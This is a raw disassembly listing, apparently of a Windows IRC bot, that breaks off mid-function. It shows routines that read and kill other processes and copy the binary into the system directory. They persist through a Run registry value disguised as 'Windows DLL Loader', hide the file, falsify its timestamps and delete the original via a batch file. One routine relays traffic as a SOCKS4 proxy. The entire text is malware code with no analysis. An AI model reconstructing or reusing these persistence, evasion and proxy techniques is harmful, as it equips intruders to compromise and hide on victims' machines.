mov eax, 180h add esp, 0Ch cmp esi, eax jbe short loc_4049A3 mov esi, eax loc_4049A3: ; CODE XREF: sub_40495C+43j lea eax, [esi+1] push eax call sub_4114C4 ; malloc pop ecx mov edi, eax push ebx xor ebx, ebx push ebx push 10h call dword_41209C ; OpenProcess cmp eax, ebx mov [ebp+arg_C], eax jnz short loc_4049CB push edi call sub_4114CA ; free pop ecx jmp short loc_404A2E ; --------------------------------------------------------------------------- loc_4049CB: ; CODE XREF: sub_40495C+64j lea ecx, [ebp+arg_4] mov [ebp+arg_4], ebx push ecx push esi push edi push [ebp+arg_8] push eax call dword_4120A0 ; ReadProcessMemory test eax, eax jz short loc_404A1E cmp [ebp+arg_4], ebx jz short loc_404A1E and byte ptr [edi+esi], 0 xor ecx, ecx cmp [ebp+arg_4], ebx jbe short loc_404A13 loc_4049F2: ; CODE XREF: sub_40495C+B5j mov al, [ecx+edi] cmp al, 0Ah jz short loc_404A09 cmp al, 0Dh jz short loc_404A09 cmp al, 1Fh jz short loc_404A09 cmp al, 16h jz short loc_404A09 cmp al, 10h jg short loc_404A0D loc_404A09: ; CODE XREF: sub_40495C+9Bj ; sub_40495C+9Fj ... mov byte ptr [ecx+edi], 2Eh loc_404A0D: ; CODE XREF: sub_40495C+ABj inc ecx cmp ecx, [ebp+arg_4] jb short loc_4049F2 loc_404A13: ; CODE XREF: sub_40495C+94j push edi push [ebp+arg_0] call sub_4096CB pop ecx pop ecx loc_404A1E: ; CODE XREF: sub_40495C+84j ; sub_40495C+89j push edi call sub_4114CA ; free pop ecx push [ebp+arg_C] call dword_4120AC ; CloseHandle loc_404A2E: ; CODE XREF: sub_40495C+Aj ; sub_40495C+14j ... pop edi pop esi pop ebx pop ebp retn sub_40495C endp ; =============== S U B R O U T I N E ======================================= sub_404A33 proc near ; CODE XREF: sub_407A76+298p arg_4 = dword ptr 8 cmp [esp+arg_4], 0 push esi jz short loc_404A6E push [esp+4+arg_4] call sub_41151C ; atoi pop ecx mov esi, eax call dword_4120F0 ; GetCurrentProcessId cmp esi, eax jz short loc_404A6E push esi push 0 push 1 call dword_41209C ; OpenProcess mov esi, eax push 0 push esi call dword_4120A8 ; TerminateProcess push esi call dword_4120AC ; CloseHandle loc_404A6E: ; CODE XREF: sub_404A33+6j ; sub_404A33+1Cj pop esi retn sub_404A33 endp ; =============== S U B R O U T I N E ======================================= sub_404A70 proc near ; CODE XREF: sub_402EFD+10Bp ; sub_407A76+94p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] xor esi, esi loc_404A78: ; CODE XREF: sub_404A70+1Aj push 7Ah push 61h call sub_40B459 mov [esi+edi], al inc esi pop ecx cmp esi, 8 pop ecx jl short loc_404A78 and byte ptr [edi+8], 0 mov edi, [esp+8+arg_4] xor esi, esi loc_404A96: ; CODE XREF: sub_404A70+38j push 7Ah push 61h call sub_40B459 mov [esi+edi], al inc esi pop ecx cmp esi, 6 pop ecx jl short loc_404A96 and byte ptr [edi+6], 0 mov edi, [esp+8+arg_8] xor esi, esi loc_404AB4: ; CODE XREF: sub_404A70+56j push 7Ah push 61h call sub_40B459 mov [esi+edi], al inc esi pop ecx cmp esi, 10h pop ecx jl short loc_404AB4 and byte ptr [edi+10h], 0 pop edi pop esi retn sub_404A70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404ACF proc near ; CODE XREF: sub_407A76+962p var_414 = byte ptr -414h var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_404CFB cmp byte ptr [edi+4], 5Ch jnz loc_404CFB push 4 pop esi push esi push offset aHkcr ; "HKCR" push edi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_404B0F mov [ebp+arg_4], 80000000h jmp short loc_404B65 ; --------------------------------------------------------------------------- loc_404B0F: ; CODE XREF: sub_404ACF+35j push esi push offset aHkcu ; "HKCU" push edi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_404B2B mov [ebp+arg_4], 80000001h jmp short loc_404B65 ; --------------------------------------------------------------------------- loc_404B2B: ; CODE XREF: sub_404ACF+51j push esi push offset aHklm ; "HKLM" push edi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_404B47 mov [ebp+arg_4], 80000002h jmp short loc_404B65 ; --------------------------------------------------------------------------- loc_404B47: ; CODE XREF: sub_404ACF+6Dj push esi push offset aHkus ; "HKUS" push edi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_404CFB mov [ebp+arg_4], 80000003h loc_404B65: ; CODE XREF: sub_404ACF+3Ej ; sub_404ACF+5Aj ... add edi, 5 push edi call sub_4114BE ; strlen mov esi, eax pop ecx test esi, esi jz loc_404CFB loc_404B79: ; CODE XREF: sub_404ACF+B1j cmp byte ptr [esi+edi], 5Ch jz short loc_404B87 dec esi jnz short loc_404B79 jmp loc_404CFB ; --------------------------------------------------------------------------- loc_404B87: ; CODE XREF: sub_404ACF+AEj lea eax, [esi+edi+1] push eax call sub_4114BE ; strlen mov ebx, 200h pop ecx cmp eax, ebx jnb loc_404CFB lea eax, [esi+edi+1] push eax lea eax, [ebp+var_414] push eax call sub_4114B8 ; _mbscpy pop ecx cmp esi, ebx pop ecx jnb loc_404CFB push esi lea eax, [ebp+var_214] push edi push eax call sub_4114D0 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] and [ebp+esi+var_214], 0 push eax push 1 lea eax, [ebp+var_214] push 0 push eax push [ebp+arg_4] call dword_412000 ; RegOpenKeyExA test eax, eax jnz loc_404CFB mov eax, 1000h push eax mov [ebp+var_C], eax call sub_4114C4 ; malloc mov esi, eax pop ecx lea eax, [ebp+var_C] mov [ebp+var_10], esi push eax lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_414] push 0 push eax push [ebp+var_14] call dword_41200C ; RegQueryValueExA test eax, eax jnz loc_404CEB cmp [ebp+var_8], 1 mov ebx, offset dword_413B6C jz short loc_404C3B cmp [ebp+var_8], 2 jnz short loc_404C48 loc_404C3B: ; CODE XREF: sub_404ACF+164j push esi push ebx push [ebp+arg_0] call sub_4096CB add esp, 0Ch loc_404C48: ; CODE XREF: sub_404ACF+16Aj cmp [ebp+var_8], 4 jnz short loc_404C60 push dword ptr [esi] push offset dword_413B64 push [ebp+arg_0] call sub_4096CB add esp, 0Ch loc_404C60: ; CODE XREF: sub_404ACF+17Dj cmp [ebp+var_8], 3 jnz loc_404CEB mov edi, 180h push edi call sub_4114C4 ; malloc and [ebp+var_4], 0 mov esi, eax pop ecx and byte ptr [esi], 0 cmp [ebp+var_C], 0 jbe short loc_404CD5 loc_404C85: ; CODE XREF: sub_404ACF+204j mov eax, [ebp+var_10] mov ecx, [ebp+var_4] movzx eax, byte ptr [ecx+eax] push eax lea eax, [ebp+arg_4] push offset dword_413B5C push eax call sub_4114DC ; sprintf push esi call sub_4114BE ; strlen add eax, 3 add esp, 10h cmp eax, edi jb short loc_404CBE push esi push ebx push [ebp+arg_0] call sub_4096CB add esp, 0Ch and byte ptr [esi], 0 loc_404CBE: ; CODE XREF: sub_404ACF+1DDj lea eax, [ebp+arg_4] push eax push esi call sub_4114EE ; _mbscat inc [ebp+var_4] pop ecx mov eax, [ebp+var_4] pop ecx cmp eax, [ebp+var_C] jb short loc_404C85 loc_404CD5: ; CODE XREF: sub_404ACF+1B4j push esi push ebx push [ebp+arg_0] call sub_4096CB push esi call sub_4114CA ; free mov esi, [ebp+var_10] add esp, 10h loc_404CEB: ; CODE XREF: sub_404ACF+155j ; sub_404ACF+195j push esi call sub_4114CA ; free pop ecx push [ebp+var_14] call dword_412028 ; RegCloseKey loc_404CFB: ; CODE XREF: sub_404ACF+11j ; sub_404ACF+1Bj ... pop edi pop esi pop ebx leave retn sub_404ACF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D00 proc near ; CODE XREF: sub_409277:loc_4093C8p ; sub_409918:loc_409BBEp var_208 = byte ptr -208h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 208h push esi lea eax, [ebp+var_104] push 104h push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_104] push offset dword_413DEC push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_208] push offset dword_418FDC push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_208] push eax call sub_40B5E1 lea eax, [ebp+var_208] push eax lea eax, [ebp+var_104] push eax call sub_4114EE ; _mbscat add esp, 1Ch lea eax, [ebp+var_104] push eax call dword_4120B8 ; DeleteFileA lea eax, [ebp+var_104] push offset dword_4132AC push eax call sub_411506 ; fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_404DAA push esi push 1 push 2 push offset dword_413DE8 call sub_4114FA ; fwrite push esi call sub_411500 ; fclose lea eax, [ebp+var_104] push eax call sub_404E31 add esp, 18h loc_404DAA: ; CODE XREF: sub_404D00+84j pop esi leave retn sub_404D00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404DAD proc near ; CODE XREF: sub_409277+117p ; sub_409918+26Cp var_208 = byte ptr -208h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 208h lea eax, [ebp+var_104] push 104h push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_104] push offset dword_413DEC push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_208] push offset dword_418FDC push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_208] push eax call sub_40B5E1 lea eax, [ebp+var_208] push eax lea eax, [ebp+var_104] push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_411506 ; fopen add esp, 24h test eax, eax jz short loc_404E2D push eax call sub_411500 ; fclose pop ecx push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_404E2D: ; CODE XREF: sub_404DAD+72j xor eax, eax leave retn sub_404DAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E31 proc near ; CODE XREF: sub_404D00+A2p ; sub_4050D1+1B5p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi push edi lea eax, [ebp+var_11C] push 104h push eax call dword_412044 ; GetWindowsDirectoryA lea eax, [ebp+var_11C] push offset dword_413DF0 push eax call sub_4114EE ; _mbscat pop ecx mov esi, dword_412048 pop ecx mov edi, 80h push 0 push edi push 3 push 0 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_404ED7 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_41204C ; GetFileTime push ebx mov ebx, dword_4120AC call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_404ED7 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_412050 ; SetFileTime push esi call ebx ; CloseHandle loc_404ED7: ; CODE XREF: sub_404E31+58j ; sub_404E31+8Ej pop edi pop esi pop ebx leave retn sub_404E31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404EDC proc near ; CODE XREF: sub_4050D1+139p ; sub_4050D1+16Fp ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push esi xor esi, esi lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_412014 ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_404F67 lea eax, [ebp+var_108] push 104h push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_108] push offset dword_413DEC push eax call sub_4114EE ; _mbscat push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_4114EE ; _mbscat add esp, 10h lea eax, [ebp+var_108] push eax call dword_412040 ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push esi push [ebp+arg_4] push [ebp+var_4] call dword_412010 ; RegSetValueExA jmp short loc_404F73 ; --------------------------------------------------------------------------- loc_404F67: ; CODE XREF: sub_404EDC+2Dj push [ebp+arg_4] push [ebp+var_4] call dword_412004 ; RegDeleteValueA loc_404F73: ; CODE XREF: sub_404EDC+89j push [ebp+var_4] call dword_412028 ; RegCloseKey pop esi leave retn sub_404EDC endp ; =============== S U B R O U T I N E ======================================= sub_404F7F proc near ; CODE XREF: sub_404FA8+2Bp ; sub_4050D1+1C1p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi mov edi, esi call sub_4114BE ; strlen pop ecx xor ecx, ecx test eax, eax jbe short loc_404FA3 loc_404F94: ; CODE XREF: sub_404F7F+22j cmp byte ptr [ecx+esi], 5Ch jnz short loc_404F9E lea edi, [ecx+esi+1] loc_404F9E: ; CODE XREF: sub_404F7F+19j inc ecx cmp ecx, eax jb short loc_404F94 loc_404FA3: ; CODE XREF: sub_404F7F+13j mov eax, edi pop edi pop esi retn sub_404F7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FA8 proc near ; CODE XREF: sub_4050D1+Cp ; sub_4052DF+Cp var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 104h lea eax, [ebp+var_104] push 104h push eax push 0 call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA lea eax, [ebp+var_104] push eax call sub_404F7F and byte ptr [eax], 0 pop ecx lea eax, [ebp+var_104] push eax call dword_41203C ; SetCurrentDirectoryA leave retn sub_404FA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FEB proc near ; CODE XREF: sub_4050D1+1C7p ; sub_4052DF+C2p ... var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi push 8 push 4 call sub_40B459 push 7Ah push 61h mov edi, eax call sub_40B459 add esp, 10h mov [ebp+var_14], al push 1 pop esi cmp edi, esi jz short loc_405029 loc_405015: ; CODE XREF: sub_404FEB+3Cj push 7Ah push 61h call sub_40B459 mov [ebp+esi+var_14], al inc esi pop ecx cmp esi, edi pop ecx jnz short loc_405015 loc_405029: ; CODE XREF: sub_404FEB+28j lea eax, [ebp+esi+var_14] push offset a_bat ; ".bat" push eax call sub_4114B8 ; _mbscpy mov edi, [ebp+arg_0] push edi call sub_4114BE ; strlen push 400h call sub_4114C4 ; malloc add esp, 10h mov ebx, eax lea eax, [ebp+var_14] push eax call dword_4120B8 ; DeleteFileA xor esi, esi lea eax, [ebp+var_14] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_412048 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40507D xor eax, eax jmp short loc_4050CC ; --------------------------------------------------------------------------- loc_40507D: ; CODE XREF: sub_404FEB+8Cj lea eax, [ebp+var_14] push eax push edi push edi push edi push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push ebx call dword_4121EC ; wsprintfA add esp, 18h lea eax, [ebp+var_4] mov [ebp+var_4], esi push esi push eax push ebx call sub_4114BE ; strlen pop ecx push eax push ebx push [ebp+arg_0] call dword_412070 ; WriteFile push [ebp+arg_0] call dword_4120AC ; CloseHandle push esi push esi lea eax, [ebp+var_14] push esi push eax push offset aOpen ; "open" push esi call dword_4121E4 push 1 pop eax loc_4050CC: ; CODE XREF: sub_404FEB+90j pop edi pop esi pop ebx leave retn sub_404FEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050D1 proc near ; CODE XREF: kkrunchy:loc_41137Dp var_36C = byte ptr -36Ch var_268 = byte ptr -268h var_164 = byte ptr -164h var_60 = dword ptr -60h var_30 = word ptr -30h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 36Ch push ebx push esi push edi call sub_404FA8 mov esi, 104h lea eax, [ebp+var_36C] push esi xor ebx, ebx push eax push ebx call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA cmp off_413B90, ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx jz short loc_405181 mov edi, offset off_413B90 mov [ebp+var_C], edi loc_405115: ; CODE XREF: sub_4050D1+AEj inc [ebp+var_4] lea eax, [ebp+var_268] push esi push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_268] push offset dword_413DEC push eax call sub_4114EE ; _mbscat push dword ptr [edi] call sub_40B5E1 push dword ptr [edi] lea eax, [ebp+var_268] push eax call sub_4114EE ; _mbscat push dword ptr [edi] call sub_40B5A8 lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_268] push eax call sub_411924 ; _strcmpi add esp, 20h test eax, eax jz loc_405214 mov edi, [ebp+var_C] inc [ebp+var_8] add edi, 8 mov [ebp+var_C], edi cmp [edi], ebx jnz short loc_405115 loc_405181: ; CODE XREF: sub_4050D1+3Aj push [ebp+var_4] push ebx call sub_40B459 pop ecx mov edi, eax pop ecx lea eax, [ebp+var_164] push esi push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_164] push offset dword_413DEC push eax call sub_4114EE ; _mbscat push off_413B90[edi*8] lea esi, ds:413B90h[edi*8] call sub_40B5E1 push dword ptr [esi] lea eax, [ebp+var_164] push eax call sub_4114EE ; _mbscat push dword ptr [esi] call sub_40B5A8 add esp, 18h lea eax, [ebp+var_164] push eax call dword_4120B8 ; DeleteFileA lea eax, [ebp+var_164] push ebx push eax lea eax, [ebp+var_36C] push eax call dword_412068 ; CopyFileA test eax, eax jnz short loc_405263 push offset dword_419ECC push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_404EDC add esp, 0Ch jmp short loc_40525E ; --------------------------------------------------------------------------- loc_405214: ; CODE XREF: sub_4050D1+9Aj mov eax, [ebp+var_8] mov esi, eax shl esi, 3 push off_413B90[esi] call sub_40B5E1 push off_413B94[esi] call sub_40B5E1 push off_413B90[esi] push off_413B94[esi] push 1 call sub_404EDC push off_413B90[esi] call sub_40B5A8 push off_413B94[esi] call sub_40B5A8 add esp, 1Ch loc_40525E: ; CODE XREF: sub_4050D1+141j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405263: ; CODE XREF: sub_4050D1+12Bj mov esi, dword_4120B0 lea eax, [ebp+var_164] push 4 push eax call esi ; SetFileAttributesA lea eax, [ebp+var_164] push 2 push eax call esi ; SetFileAttributesA lea eax, [ebp+var_164] push eax call sub_404E31 lea eax, [ebp+var_36C] push eax call sub_404F7F push eax call sub_404FEB push 44h lea eax, [ebp+var_60] pop esi push esi push ebx push eax call sub_4114E8 ; memset add esp, 18h lea eax, [ebp+var_1C] mov [ebp+var_60], esi mov [ebp+var_30], bx push eax lea eax, [ebp+var_60] push eax push ebx push ebx push 28h push 1 push ebx lea eax, [ebp+var_164] push ebx push eax push ebx call dword_412084 ; CreateProcessA call dword_412264 ; WSACleanup push ebx call sub_41157C ; exit sub_4050D1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4052DF proc near ; CODE XREF: sub_402230+51Dp ; sub_407A76+C5Fp ... var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi call sub_404FA8 mov ebx, 104h lea eax, [ebp+var_20C] push ebx xor edi, edi push eax push edi call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA cmp off_413B90, edi mov [ebp+var_4], edi jz short loc_405383 mov esi, offset off_413B90 mov edi, esi loc_40531F: ; CODE XREF: sub_4052DF+A0j lea eax, [ebp+var_108] push ebx push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_108] push offset dword_413DEC push eax call sub_4114EE ; _mbscat push dword ptr [esi] call sub_40B5E1 push dword ptr [esi] lea eax, [ebp+var_108] push eax call sub_4114EE ; _mbscat push dword ptr [esi] call sub_40B5A8 lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_108] push eax call sub_411924 ; _strcmpi add esp, 20h test eax, eax jz short loc_4053CB inc [ebp+var_4] add edi, 8 mov esi, edi cmp dword ptr [edi], 0 jnz short loc_40531F xor edi, edi loc_405383: ; CODE XREF: sub_4052DF+37j mov esi, offset dword_419ECC push esi push offset aWindowsDllLoad ; "Windows DLL Loader" push edi call sub_404EDC lea eax, [ebp+var_20C] push eax call sub_404F7F push eax call sub_404FEB add esp, 14h test eax, eax jz loc_40544A push esi push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_4097DB pop ecx pop ecx call dword_412264 ; WSACleanup push edi call dword_412064 ; ExitProcess loc_4053CB: ; CODE XREF: sub_4052DF+93j mov eax, [ebp+var_4] mov esi, eax shl esi, 3 push off_413B90[esi] call sub_40B5E1 push off_413B94[esi] call sub_40B5E1 push off_413B90[esi] push off_413B94[esi] push 0 call sub_404EDC push off_413B90[esi] call sub_40B5A8 push off_413B94[esi] call sub_40B5A8 lea eax, [ebp+var_20C] push eax call sub_404F7F push eax call sub_404FEB add esp, 24h test eax, eax jz short loc_40544A push offset dword_419ECC push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_4097DB pop ecx pop ecx call dword_412264 ; WSACleanup push 0 call dword_412064 ; ExitProcess loc_40544A: ; CODE XREF: sub_4052DF+CCj ; sub_4052DF+14Aj pop edi pop esi pop ebx leave retn sub_4052DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40544F proc near ; DATA XREF: sub_4056AC+F4o var_16D4 = byte ptr -16D4h var_6D4 = byte ptr -6D4h var_5D4 = dword ptr -5D4h var_5CA = byte ptr -5CAh var_5BA = byte ptr -5BAh var_427 = byte ptr -427h var_414 = byte ptr -414h var_413 = byte ptr -413h var_412 = dword ptr -412h var_40C = byte ptr -40Ch var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16D4h call sub_411540 push ebx push esi push edi push 1BDh push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free mov eax, [ebp+var_5D4] mov edi, dword_412258 add esp, 10h xor ebx, ebx lea ecx, [ebp+var_414] mov [ebp+arg_0], eax push ebx push 408h push ecx push eax call edi ; recv cmp eax, ebx jz loc_4056A3 cmp eax, 0FFFFFFFFh jz loc_4056A3 cmp [ebp+var_414], 4 jnz short loc_4054C7 cmp [ebp+var_413], 1 jnz short loc_4054C7 push 1 pop esi jmp short loc_4054C9 ; --------------------------------------------------------------------------- loc_4054C7: ; CODE XREF: sub_40544F+68j ; sub_40544F+71j xor esi, esi loc_4054C9: ; CODE XREF: sub_40544F+76j cmp [ebp+var_5CA], bl jz short loc_4054EF lea eax, [ebp+var_5CA] push 10h push eax lea eax, [ebp+var_40C] push eax call sub_411570 ; strncmp add esp, 0Ch test eax, eax jz short loc_4054EF xor esi, esi loc_4054EF: ; CODE XREF: sub_40544F+80j ; sub_40544F+9Cj cmp [ebp+var_427], bl jz short loc_40553A lea eax, [ebp+var_6D4] push eax push [ebp+arg_0] call sub_4034DE pop ecx cmp esi, ebx pop ecx mov eax, offset byte_4191D0 jnz short loc_405516 mov eax, offset dword_413EF4 loc_405516: ; CODE XREF: sub_40544F+C0j push eax movzx eax, [ebp+var_414] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_5BA] push offset dword_413EC0 push eax call sub_4096CB add esp, 14h loc_40553A: ; CODE XREF: sub_40544F+A6j cmp esi, ebx jnz short loc_405575 push 8 lea eax, [ebp+var_414] push ebx push eax call sub_4114E8 ; memset lea eax, [ebp+var_414] push 8 push eax mov [ebp+var_413], 5Bh push [ebp+arg_0] call sub_403D9D push [ebp+arg_0] call sub_403D70 add esp, 1Ch jmp loc_4056A3 ; --------------------------------------------------------------------------- loc_405575: ; CODE XREF: sub_40544F+EDj lea eax, [ebp+var_C] push 0Ah push eax push [ebp+var_412] call dword_412248 ; htons movzx eax, ax push eax call sub_41192A ; _itoa add esp, 0Ch lea eax, [ebp+var_C] push 2710h push ebx push eax push [ebp+var_412+2] call dword_412230 ; inet_ntoa push eax call sub_403C04 mov [ebp+var_4], eax push 8 lea eax, [ebp+var_414] push ebx push eax call sub_4114E8 ; memset add esp, 1Ch cmp [ebp+var_4], ebx jnz short loc_4055F1 lea eax, [ebp+var_414] push 8 push eax mov [ebp+var_413], 5Bh push [ebp+arg_0] call sub_403D9D push [ebp+arg_0] call sub_403D70 add esp, 10h jmp loc_4056A3 ; --------------------------------------------------------------------------- loc_4055F1: ; CODE XREF: sub_40544F+178j lea eax, [ebp+var_414] push 8 push eax mov [ebp+var_413], 5Ah push [ebp+arg_0] call sub_403D9D add esp, 0Ch mov esi, 1000h loc_405611: ; CODE XREF: sub_40544F+240j push [ebp+arg_0] call sub_40346D test eax, eax pop ecx jz short loc_40564C push ebx lea eax, [ebp+var_16D4] push esi push eax push [ebp+arg_0] call edi ; recv cmp eax, ebx jz short loc_405691 cmp eax, 0FFFFFFFFh jz short loc_405691 push eax lea eax, [ebp+var_16D4] push eax push [ebp+var_4] call sub_403D9D add esp, 0Ch test eax, eax jz short loc_405691 loc_40564C: ; CODE XREF: sub_40544F+1CDj push [ebp+var_4] call sub_40346D test eax, eax pop ecx jz short loc_405687 push ebx lea eax, [ebp+var_16D4] push esi push eax push [ebp+var_4] call edi ; recv cmp eax, ebx jz short loc_405691 cmp eax, 0FFFFFFFFh jz short loc_405691 push eax lea eax, [ebp+var_16D4] push eax push [ebp+arg_0] call sub_403D9D add esp, 0Ch test eax, eax jz short loc_405691 loc_405687: ; CODE XREF: sub_40544F+208j push 32h call dword_4120A4 ; Sleep jmp short loc_405611 ; --------------------------------------------------------------------------- loc_405691: ; CODE XREF: sub_40544F+1DFj ; sub_40544F+1E4j ... push [ebp+arg_0] call sub_403D70 push [ebp+var_4] call sub_403D70 pop ecx pop ecx loc_4056A3: ; CODE XREF: sub_40544F+52j ; sub_40544F+5Bj ... pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40544F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056AC proc near ; DATA XREF: sub_4057ED+8Fo var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C0h push 1BDh lea eax, [ebp+var_1C0] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_1BC] push 1 push eax call sub_403644 add esp, 18h mov [ebp+arg_0], eax test eax, eax jnz short loc_4056FC push [ebp+var_1C0] call sub_406E6F pop ecx xor eax, eax jmp locret_4057E9 ; --------------------------------------------------------------------------- loc_4056FC: ; CODE XREF: sub_4056AC+3Bj push ebx push esi lea eax, [ebp+var_1BC] push edi push eax mov eax, [ebp+var_1C0] push dword ptr [eax] lea eax, [ebp+var_1A6] push offset dword_413F00 push eax call sub_4096CB mov edi, 3E8h push edi push [ebp+arg_0] call sub_403767 add esp, 18h loc_405730: ; CODE XREF: sub_4056AC+11Ej mov ebx, eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz loc_4057CF test ebx, ebx jz loc_4057CF cmp ebx, 0FFFFFFFFh jz short loc_4057BF push 1BDh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jnz short loc_405768 push ebx call sub_403D92 jmp short loc_4057BE ; --------------------------------------------------------------------------- loc_405768: ; CODE XREF: sub_4056AC+B2j lea eax, [ebp+var_1BC] mov [esi], ebx push eax lea eax, [esi+4] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_1B6] push eax lea eax, [esi+0Ah] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_1A6] push 1A3h push eax lea eax, [esi+1Ah] push eax call sub_4114D0 ; memcpy push esi push offset sub_40544F call sub_406C5D add esp, 24h test eax, eax jnz short loc_4057BF push esi call sub_4114CA ; free push ebx call sub_403D92 pop ecx loc_4057BE: ; CODE XREF: sub_4056AC+BAj pop ecx loc_4057BF: ; CODE XREF: sub_4056AC+A1j ; sub_4056AC+103j push edi push [ebp+arg_0] call sub_403767 pop ecx pop ecx jmp loc_405730 ; --------------------------------------------------------------------------- loc_4057CF: ; CODE XREF: sub_4056AC+90j ; sub_4056AC+98j push [ebp+arg_0] call sub_40392A push [ebp+var_1C0] call sub_406E6F pop ecx xor eax, eax pop ecx pop edi pop esi pop ebx locret_4057E9: ; CODE XREF: sub_4056AC+4Bj leave retn 4 sub_4056AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4057ED proc near ; CODE XREF: sub_407A76+10Ap var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_4] test ebx, ebx push esi 